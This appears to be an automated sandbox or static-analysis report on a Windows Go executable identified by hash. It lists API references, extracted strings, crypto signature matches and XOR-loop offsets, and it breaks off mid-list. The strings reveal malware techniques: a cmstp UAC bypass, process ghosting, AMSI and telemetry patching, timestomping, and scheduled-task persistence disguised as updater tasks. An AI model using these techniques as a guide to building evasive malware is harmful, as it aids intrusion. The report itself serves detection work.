"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe"), Found api reference "runtime.newosprocinternal/runtime/thread exhaustionlocked m0 woke upentersyscallblock spinningthreads=gp.waiting != niltaggedPointerPackunknown caller pcstack: frame={sp:trace arena allocruntime: nameOff runtime: typeOff runtime: textOff cmstp missing: %wcmstp: dialog: %vcreate thread: %wexplorerframe.dll%s already loadedprotect RW %s: %wprotect RX %s: %wos/exec.Command(exec: killing Cmdexec: not startedCache Maintenanceunknown type kindreflect: call of reflect.Value.Len1192092895507812559604644775390625RegLoadMUIStringWmultipartmaxpartsurlmaxqueryparamsAdjustTokenGroupsIsTokenRestrictedCertFindExtensionCryptDecodeObjectReadProcessMemoryQueryWorkingSetExGetKeyboardLayoutWTSQueryUserTokenunexpected resultEnvironment specs:Script settle doneschtask_com: beginpowershell timeout CHECK %-25s PASS CHECK %-25s FAILreflect.Value.UintGetExitCodeProcesssegmentation faultoperation canceledno child processesconnection refusedRFS specific erroridentifier removedinput/output errormultihop attemptedfile name too longno" (Indicator: "CertFindExtension"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "runtime.newosprocinternal/runtime/thread exhaustionlocked m0 woke upentersyscallblock spinningthreads=gp.waiting != niltaggedPointerPackunknown caller pcstack: frame={sp:trace arena allocruntime: nameOff runtime: typeOff runtime: textOff cmstp missing: %wcmstp: dialog: %vcreate thread: %wexplorerframe.dll%s already loadedprotect RW %s: %wprotect RX %s: %wos/exec.Command(exec: killing Cmdexec: not startedCache Maintenanceunknown type kindreflect: call of reflect.Value.Len1192092895507812559604644775390625RegLoadMUIStringWmultipartmaxpartsurlmaxqueryparamsAdjustTokenGroupsIsTokenRestrictedCertFindExtensionCryptDecodeObjectReadProcessMemoryQueryWorkingSetExGetKeyboardLayoutWTSQueryUserTokenunexpected resultEnvironment specs:Script settle doneschtask_com: beginpowershell timeout CHECK %-25s PASS CHECK %-25s FAILreflect.Value.UintGetExitCodeProcesssegmentation faultoperation canceledno child processesconnection refusedRFS specific erroridentifier removedinput/output errormultihop attemptedfile name too longno" (Indicator: "CryptDecodeObject"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "e of closed file298023223876953125x509negativeserial/Drivers/etc/hostsCM_MapCrToWin32ErrCloseServiceHandleCreateWellKnownSidMakeSelfRelativeSDCertGetNameStringWCryptUnprotectDataPFXImportCertStoreGetBestInterfaceExClosePseudoConsoleEscapeCommFunctionGetCommModemStatusGetConsoleOutputCPGetCurrentThreadIdGetModuleHandleExWGetVolumePathNameWRemoveDllDirectorySetConsoleOutputCPTerminateJobObjectWriteProcessMemoryEnumProcessModulesGetModuleBaseNameWRCodeServerFailurego fips object v1scheduleCleanup: %vEnableCOMPersist=%vMkdirAll failed: %vpersist skip %s: %vAdobeARMHealthCheckWaitForSingleObjectreflect.Value.IsNilreflect.Value.FloatGetFileAttributesExillegal instructionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdEgypt Standard TimeSudan Standard TimeLibya Standard TimeBahia Standard TimeHaiti Standard TimeYukon Standard TimeAltai Standard TimeIndia Standard TimeSyria Standard TimeRussia" (Indicator: "CertGetNameStringW"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "e of closed file298023223876953125x509negativeserial/Drivers/etc/hostsCM_MapCrToWin32ErrCloseServiceHandleCreateWellKnownSidMakeSelfRelativeSDCertGetNameStringWCryptUnprotectDataPFXImportCertStoreGetBestInterfaceExClosePseudoConsoleEscapeCommFunctionGetCommModemStatusGetConsoleOutputCPGetCurrentThreadIdGetModuleHandleExWGetVolumePathNameWRemoveDllDirectorySetConsoleOutputCPTerminateJobObjectWriteProcessMemoryEnumProcessModulesGetModuleBaseNameWRCodeServerFailurego fips object v1scheduleCleanup: %vEnableCOMPersist=%vMkdirAll failed: %vpersist skip %s: %vAdobeARMHealthCheckWaitForSingleObjectreflect.Value.IsNilreflect.Value.FloatGetFileAttributesExillegal instructionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdEgypt Standard TimeSudan Standard TimeLibya Standard TimeBahia Standard TimeHaiti Standard TimeYukon Standard TimeAltai Standard TimeIndia Standard TimeSyria Standard TimeRussia" (Indicator: "CryptReleaseContext"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "e of closed file298023223876953125x509negativeserial/Drivers/etc/hostsCM_MapCrToWin32ErrCloseServiceHandleCreateWellKnownSidMakeSelfRelativeSDCertGetNameStringWCryptUnprotectDataPFXImportCertStoreGetBestInterfaceExClosePseudoConsoleEscapeCommFunctionGetCommModemStatusGetConsoleOutputCPGetCurrentThreadIdGetModuleHandleExWGetVolumePathNameWRemoveDllDirectorySetConsoleOutputCPTerminateJobObjectWriteProcessMemoryEnumProcessModulesGetModuleBaseNameWRCodeServerFailurego fips object v1scheduleCleanup: %vEnableCOMPersist=%vMkdirAll failed: %vpersist skip %s: %vAdobeARMHealthCheckWaitForSingleObjectreflect.Value.IsNilreflect.Value.FloatGetFileAttributesExillegal instructionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdEgypt Standard TimeSudan Standard TimeLibya Standard TimeBahia Standard TimeHaiti Standard TimeYukon Standard TimeAltai Standard TimeIndia Standard TimeSyria Standard TimeRussia" (Indicator: "CryptUnprotectData"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "e of closed file298023223876953125x509negativeserial/Drivers/etc/hostsCM_MapCrToWin32ErrCloseServiceHandleCreateWellKnownSidMakeSelfRelativeSDCertGetNameStringWCryptUnprotectDataPFXImportCertStoreGetBestInterfaceExClosePseudoConsoleEscapeCommFunctionGetCommModemStatusGetConsoleOutputCPGetCurrentThreadIdGetModuleHandleExWGetVolumePathNameWRemoveDllDirectorySetConsoleOutputCPTerminateJobObjectWriteProcessMemoryEnumProcessModulesGetModuleBaseNameWRCodeServerFailurego fips object v1scheduleCleanup: %vEnableCOMPersist=%vMkdirAll failed: %vpersist skip %s: %vAdobeARMHealthCheckWaitForSingleObjectreflect.Value.IsNilreflect.Value.FloatGetFileAttributesExillegal instructionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdEgypt Standard TimeSudan Standard TimeLibya Standard TimeBahia Standard TimeHaiti Standard TimeYukon Standard TimeAltai Standard TimeIndia Standard TimeSyria Standard TimeRussia" (Indicator: "PFXImportCertStore"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioncmstp: service = %sCreateNamedPipe: %wPEB address is nullwindows.storage.dllAMSI phase completeexec: canceling Cmdreflect.Value.Bytesreflect.Value.Fieldreflect.Value.Indexskip this directorySetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketW14901161193847656257450580596923828125file already existsfile does not existfile already closedembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersQueryServiceConfigWCreatePseudoConsoleDisconnectNamedPipeGetDiskFreeSpaceExWGetLargePageMinimumGetSystemDirectoryWResizePseudoConsoleRtlAddFunctionTableGetForegroundWindowLoadKeyboardLayoutWGetFileVersionInfoWWSALookupServiceEndRegConnectRegistryWRCodeNotImplementedlaunch: timestompingLaunching payload...WMI subscription: %sinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextW" (Indicator: "CryptAcquireContextW"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "id MZ signatureinvalid PE signatureinvalid write resultGetAdaptersAddressesNtSetInformationFileRtlIsDosDeviceName_UGetProcessMemoryInfobcryptprimitives.dll37252902984619140625zlib: invalid headerhttplaxcontentlengthx509usefallbackrootsgetadaptersaddressesChangeServiceConfigWCheckTokenMembershipQueryServiceConfig2WQueryServiceStatusExRegisterEventSourceWCertFindChainInStoreGetWindowsDirectoryWProcessIdToSessionIdSetVolumeMountPointWRtlInitUnicodeStringEnumProcessModulesExGetModuleFileNameExWGetModuleInformationSetupDiOpenDevRegKeySHGetKnownFolderPathUnloadKeyboardLayoutsha3: Sum after ReadCompanion decrypt: %vPatching telemetry...Decryption failed: %v Arguments : (none)EdgeUpdateCompatCheckOEM_UpdateHealthCheckreflect.Value.Complextrace/breakpoint trapuser defined signal 1user defined signal 2link has been severedpackage not installedblock device requiredstate not recoverableread-only file systemstale NFS file handleReadDirectoryChangesWNetGetJoinInformationMorocco Standard TimeNamibia Standard TimeAlaskan" (Indicator: "CertFindChainInStore"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "Cleanup scheduled in %dscmstp: elevated re-entrycmstp elevate failed: %vGoogleSoftwareUpdateCoreWindows_CacheMaintenanceEdge_UpdateCompatibilityinvalid argument to Intn%AppData% is not definedfloating point exceptionconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWSA Pacific Standard TimeSA Eastern Standard TimeUS Eastern Standard TimeSA Western Standard TimeMontevideo Standard TimeMagallanes Standard TimePacific SA Standard TimeAzerbaijan Standard TimeBangladesh Standard TimeNorth Asia Standard TimeCape Verde Standard TimeCoCreateInstance: 0x%08xget RegistrationInfo: %wtracecheckstackownershipwaiting for cgo callbackhash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers" (Indicator: "CertFreeCertificateChain"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "SystemShutdownExWIsValidSecurityDescriptorSetSecurityDescriptorDaclSetSecurityDescriptorSaclFindNextVolumeMountPointWFindVolumeMountPointCloseQueryInformationJobObjectNtQueryInformationProcessSetupDiCallClassInstallerSetupDiGetDevicePropertyWSetupDiGetSelectedDriverWSetupDiSetSelectedDriverWtesting simulated failurePayload file not found: %vinvalid argument to Int63ninvalid argument to Int31nGetFileInformationByHandleinvalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextPostQueuedCompletionStatusSetFileInformationByHandleSouth Africa Standard TimeSaint Pierre Standard TimeNewfoundland Standard TimeCentral Asia Standard TimeEkaterinburg Standard TimeE. Australia Standard TimeW. Australia Standard TimeBougainville Standard TimeLine Islands Standard TimeWest Pacific Standard Timedecrypt: wrote clear PE %sUpdates Microsoft OneDriveApplication update serviceTriggers.Create(Logon): %wRegisterTaskDefinition: %wall" (Indicator: "CertFreeCertificateContext"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "oroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizerfailed putFast after drainnegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memoryabcdefghijklmnopqrstuvwxyzghosting: NtCreateFile: %winit: stomp: %v; alloc: %wNtProtectVirtualMemory: %wread ProcessParameters: %wstomp: fresh copy %s -> %sVirtualQuery failed @ 0x%X using unaddressable valueunknown ABI parameter kindRtlNtStatusToDosErrorNoTeb1455191522836685180664062572759576141834259033203125NtWriteFile: NTSTATUS 0x%XGetSecurityDescriptorGroupGetSecurityDescriptorOwnerNotifyServiceStatusChangeWSetSecurityDescriptorGroupSetSecurityDescriptorOwnerCertFindCertificateInStoreFindFirstVolum" (Indicator: "CertFindCertificateInStore"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe")31:T75a,file/memory contains long string with (Indicator: "CertCloseStore"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "CryptProtectData"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "CryptDecodeObject"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "CertGetNameString"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "CryptReleaseContext"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "CryptUnprotectData"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "CryptAcquireContext"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "CertFreeCertificateContext"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "CertFindCertificateInStore"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "CertEnumCertificatesInStore"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "CertDeleteCertificateFromStore"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "github.com/go-ole/go-ole/internal/payload.DecryptFileInPlace" (Indicator: "DecryptFile"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe")32:T1f8b,Observed string: "crypto/aes" (Indicator: "crypto/aes") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe Observed string: "crypto/sha1" (Indicator: "crypto/sha1") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe Observed string: "crypto/cipher" (Indicator: "crypto/cipher") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe Observed string: "crypto/internal/rand" (Indicator: "crypto/internal/rand") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe Observed string: "crypto/internal/impl" (Indicator: "crypto/internal/impl") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe Observed string: "crypto/internal/fips140/aes" (Indicator: "crypto/internal/fips140/aes") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe Observed string: "crypto/internal/fips140/drbg" (Indicator: "crypto/internal/fips140/drbg") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe Observed string: "crypto/internal/fips140/sha3" (Indicator: "crypto/internal/fips140/sha3") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe Observed string: "crypto/internal/fips140/hmac" (Indicator: "crypto/internal/fips140/hmac") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe Observed string: "crypto/internal/fips140/sha256" (Indicator: "crypto/internal/fips140/sha256") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe Observed string: "crypto/internal/fips140/sha512" (Indicator: "crypto/internal/fips140/sha512") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe Observed string: "crypto/internal/entropy/v1.0.0" (Indicator: "crypto/internal/entropy/v1.0.0") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe Observed string: "crypto/internal/fips140/aes/gcm" (Indicator: "crypto/internal/fips140/aes/gcm") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe Observed string: "$golang.org/x/crypto/chacha20poly1305" (Indicator: "$golang.org/x/crypto/chacha20poly1305") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe Observed string: "552713678800500929355621337890625syscall ID not found (gate failed)NtReadVirtualMemory: NTSTATUS 0x%XCM_Get_Device_Interface_List_SizeWcrypto/aes: invalid buffer overlapGODEBUG sys/cpu: can not disable "chacha20: wrong HChaCha20 key sizeDecrypting on disk for execution...schtask_com: target size = %d bytesnetwork dropped connection on resettransport endpoint is not connected2006-01-02T15:04:05.999999999Z07:00non-positive interval for NewTickerOpen: write failed: %v" (Indicator: "552713678800500929355621337890625syscall ID not found (gate failed)NtReadVirtualMemory: NTSTATUS 0x%XCM_Get_Device_Interface_List_SizeWcrypto/aes: invalid buffer overlapGODEBUG sys/cpu: can not disable "chacha20: wrong HChaCha20 key sizeDecrypting on disk for execution...schtask_com: target size = %d bytesnetwork dropped connection on resettransport endpoint is not connected2006-01-02T15:04:05.999999999Z07:00non-positive interval for NewTickerOpen: write failed: %v") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe Observed string: "confirmingcmstp: dialog still open after confirmP3: payload written to pipe (%d bytes)1110223024625156540423631668090820312555511151231257827021181583404541015625chacha20poly1305: ciphertext too largeconcurrent map iteration and map writeGODEBUG sys/cpu: unknown cpu feature "crypto/sha256: invalid hash state sizecmstp: already elevated" (Indicator: "confirmingcmstp: dialog still open after confirmP3: payload written to pipe (%d bytes)1110223024625156540423631668090820312555511151231257827021181583404541015625chacha20poly1305: ciphertext too largeconcurrent map iteration and map writeGODEBUG sys/cpu: unknown cpu feature "crypto/sha256: invalid hash state sizecmstp: already elevated") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe Observed string: "falling back to file-based executionruntime: checkmarks found unexpected unmarked object obj=P3: entry bytes = %02X %02X %02X %02X %02X %02X %02X %02Xcannot run executable found relative to current directory (set GODEBUG=execwait=2 to capture stacks for debugging)crypto/cipher: invalid buffer overlap of output and inputcrypto/drbg: internal error: request size exceeds maximumEnvironment check failed" (Indicator: "falling back to file-based executionruntime: checkmarks found unexpected unmarked object obj=P3: entry bytes = %02X %02X %02X %02X %02X %02X %02X %02Xcannot run executable found relative to current directory (set GODEBUG=execwait=2 to capture stacks for debugging)crypto/cipher: invalid buffer overlap of output and inputcrypto/drbg: internal error: request size exceeds maximumEnvironment check failed") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe, Observed string: "Task was NOT registered (this explains empty ROSEN search in Task Scheduler)NtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not[DefaultInstall]CustomDestination=DestPathsRunPreSetupCommands=ExecSetupcrypto/rand: blocked for 60 seconds waiting to read random data from the kernelProcess Ghosting incompatible with shellcode" (Indicator: "Task was NOT registered (this explains empty ROSEN search in Task Scheduler)NtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not[DefaultInstall]CustomDestination=DestPathsRunPreSetupCommands=ExecSetupcrypto/rand: blocked for 60 seconds waiting to read random data from the kernelProcess Ghosting incompatible with shellcode") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe, Observed string: "crash here usually = bad callback VA or stomping+static TLScrypto/aes: internal error: using generic implementation despite hardware supportexpected all size classes up to min size for malloc header to fit in one-page spanscrypto/cipher: use of GCM with non-AES ciphers is not allowed in FIPS 140-only modememload: reloc RVA=0x%X size=%d | import RVA=0x%X | tls RVA=0x%X | exception RVA=0x%Xreflect.Value.Interface: cannot return value obtained from unexported field or methodmemload: no .reloc" (Indicator: "crash here usually = bad callback VA or stomping+static TLScrypto/aes: internal error: using generic implementation despite hardware supportexpected all size classes up to min size for malloc header to fit in one-page spanscrypto/cipher: use of GCM with non-AES ciphers is not allowed in FIPS 140-only modememload: reloc RVA=0x%X size=%d | import RVA=0x%X | tls RVA=0x%X | exception RVA=0x%Xreflect.Value.Interface: cannot return value obtained from unexported field or methodmemload: no .reloc") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe, Observed string: "crypto/fips140.isBypassed" (Indicator: "crypto/fips140.isBypassed") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe, Observed string: "crypto/rand.fatal" (Indicator: "crypto/rand.fatal") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe, Observed string: "crypto/internal/sysrand.fatal" (Indicator: "crypto/internal/sysrand.fatal") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe, Observed string: "crypto/internal/fips140deps/cpu.init" (Indicator: "crypto/internal/fips140deps/cpu.init") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe, Observed string: "crypto/internal/impl.Register" (Indicator: "crypto/internal/impl.Register") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe, Observed string: "type:.eq.crypto/internal/impl.implementation" (Indicator: "type:.eq.crypto/internal/impl.implementation") in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe33:T672,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains possible references to Golang crypto modules Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Able to decrypt/decode data Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Contains reference to crypto DLLs Matched sigs: Contains reference to cryptographic keys Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: YARA signature match – Encryption algorithm Matched sigs: YARA signature match - ChaCha20 encryption algorithm Matched sigs: YARA signature match - AES encryption Matched sigs: YARA signature match – cryptographic algorithms34:T6cec,Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 124730; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 760484; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 1274380; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 2108519; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 2350996; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 2911997; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 2981959; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3013140; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3066839; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3181916; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3184652; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3249925; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3251794; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3277928; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3292727; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3370672; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3383402; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3393020; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3463548; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3485066; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3521643; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3724320; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3865553; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3867085; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3942400; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4055221; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4159557; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4219550; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4350191; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4429420; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4429847; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4473370; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4491732; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4509112; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4511598; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4545205; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4671758; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4687403; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4701718; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4744773; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4799265; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4867528; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4879806; code bytes = 30d0 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4889563; code bytes = 30d0 Found 